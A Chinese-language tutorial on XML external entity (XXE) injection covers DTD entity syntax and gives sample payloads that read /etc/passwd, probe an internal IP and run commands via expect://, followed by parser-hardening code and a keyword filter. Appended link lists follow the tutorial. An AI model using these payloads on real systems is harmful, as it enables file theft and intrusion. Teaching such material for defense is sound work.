XXE--XML外部实体注入漏洞
XXE漏洞原理
XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
PS:php版本大于5.4.45的默认不解析外部实体
要了解XXE,就必须懂得XML的一些规则:
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XXE
这里我们主要需要了解的是文档类型定义,因为XXE就发生在这里,其余规则暂时不做赘述:
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
在DTD内,我们可以声明外部实体,语法规则如下:
内部声明实体
<!ENTITY 实体名称 "实体的值" >
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI" >
注意事项:实体又分为一般实体和参数实体。
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;
(1)内部实体声明:<!ENTITY 实体名称 "实体的值">
ex:<!ENTITY eviltest "eviltest">
注意和DTD中的元素声明区别<!ENTITY 声明元素>
代码实例:
1 <?xml version="1.0"?>
2 <!DOCTYPE test [
3 <!ENTITY writer "Bill Gates">
4 <!ENTITY copyright "Copyright W3School.com.cn">
5 ]>
6
7 <test>&writer;©right;</test>
8
(2)外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
引入外部参数实体outdtd.dtd文件
代码实例:
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE % test[
3 <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
4 %a;
5 ]>
6 <test>&xxe;</test>
.dtd文件代码:(outdtd.dtd )
1 <!ENTITY xxe SYSTEM "file:///etc/passwd">
XXE危害
- 任意文件读取
- 内网端口扫描(SSRF)
- DDoS攻击
- 命令执行
XXE利用
一:探测内网地址
利用代码如下:
1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe [
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
5 <root>
6 <name>&xxe;</name>
7 </root>
二:执行命令
在Linux系统安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系命令
利用代码如下:
1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe[
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "expect://ifconfig">]>
5 <root>
6 <name>&xxe;</name>
7 </root>
8
9 //这里读取系统命令ifconfig读取ip
更多的XXE漏洞利用方法可参考:https://www.freebuf.com/articles/web/177979.html
XXE防御
方法一:使用开发语言提供的禁用外部实体的方法。
1 PHP:
2 libxml_disable_entity_loader(true);
3
4 JAVA:
5 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
6 dbf.setExpandEntityReferences(false);
7
8 Python:
9 from lxml import etree
10 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
11
方法二:过滤用户提交的XML数据。
关键词:<!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC
XXE--XML外部实体注入漏洞的更多相关文章
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- CTF中关于XXE(XML外部实体注入)题目两道
题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- 应用安全-XXE(XML外部实体注入)攻防整理
libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...
- PHP xml 外部实体注入漏洞学习
XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...
- 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞
官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...
- 【研究】XML外部实体注入(XXE)
在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...
随机推荐
- docker学习笔记-01:docker基本原理
一.docker原理 1.什么是docker:解决了运行环境和配置问题的容器,方便做持续集成并有助于整体发布的容器虚拟化技术. 2.虚拟机的缺点:(1)资源占用多:(2)冗余步骤多:(3)启动慢,分钟 ...
- Scala 线性化规则和 super 操作
如果一个类有多个父类,且父类的有相同的函数 f,在子类和父类中调用 super.f 都是按从右到左的调用函数的顺序. 这个规则名为:Linearization Rules 如下的代码 trait Ba ...
- Codeforces Forethought Future Cup Elimination Round 选做
1146C Tree Diameter 题意 交互题.有一棵 \(n(n\le 100)\) 个点的树,你可以进行不超过 \(9\) 次询问,每次询问两个点集中两个不在同一点集的点的最大距离.求树的直 ...
- vue数据变化后页面刷新
在测试methods和conputed区别的时候,我在methods方法体内增加了一个vue数据自增语句,类似于this.abc++;导致整个页面无法加载出来. 原因是this.abc改变 会触发页面 ...
- redis改配置
命令行: 暂时生效,适合于做测试,或者线上马上服务修改,重启失效 CONFIG set stop-writes-on-bgsave-error no OK CONFIG get stop-writes ...
- P1047 编程团体赛
转跳点:
- .NET配置问题
Ext.NET MVC 配置问题总结 随着VS版本和.NET MVC版本.EF的版本的不断更新,虽然很多功能随着版本的提升而更完善,但对于旧版本开发的软件就有点悲催了,或许很多开发者都遇到 ...
- 【pwnable.kr】 uaf
目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...
- 修改tomcat的字符集问题
转 默认情况下,tomcat使用的是iso8859-1的编码编码方式,浏览器的embed标签中src指向的地址要通过tomcat去解析.如果包含中文,采用这种编码方式就会出现乱码问题,而在这种情况下, ...
- maven爬坑
版本问题 maven源的问题 找不到的jar包 http://www.cnblogs.com/geektown/p/5705405.html http://blog.csdn.net/beyondlp ...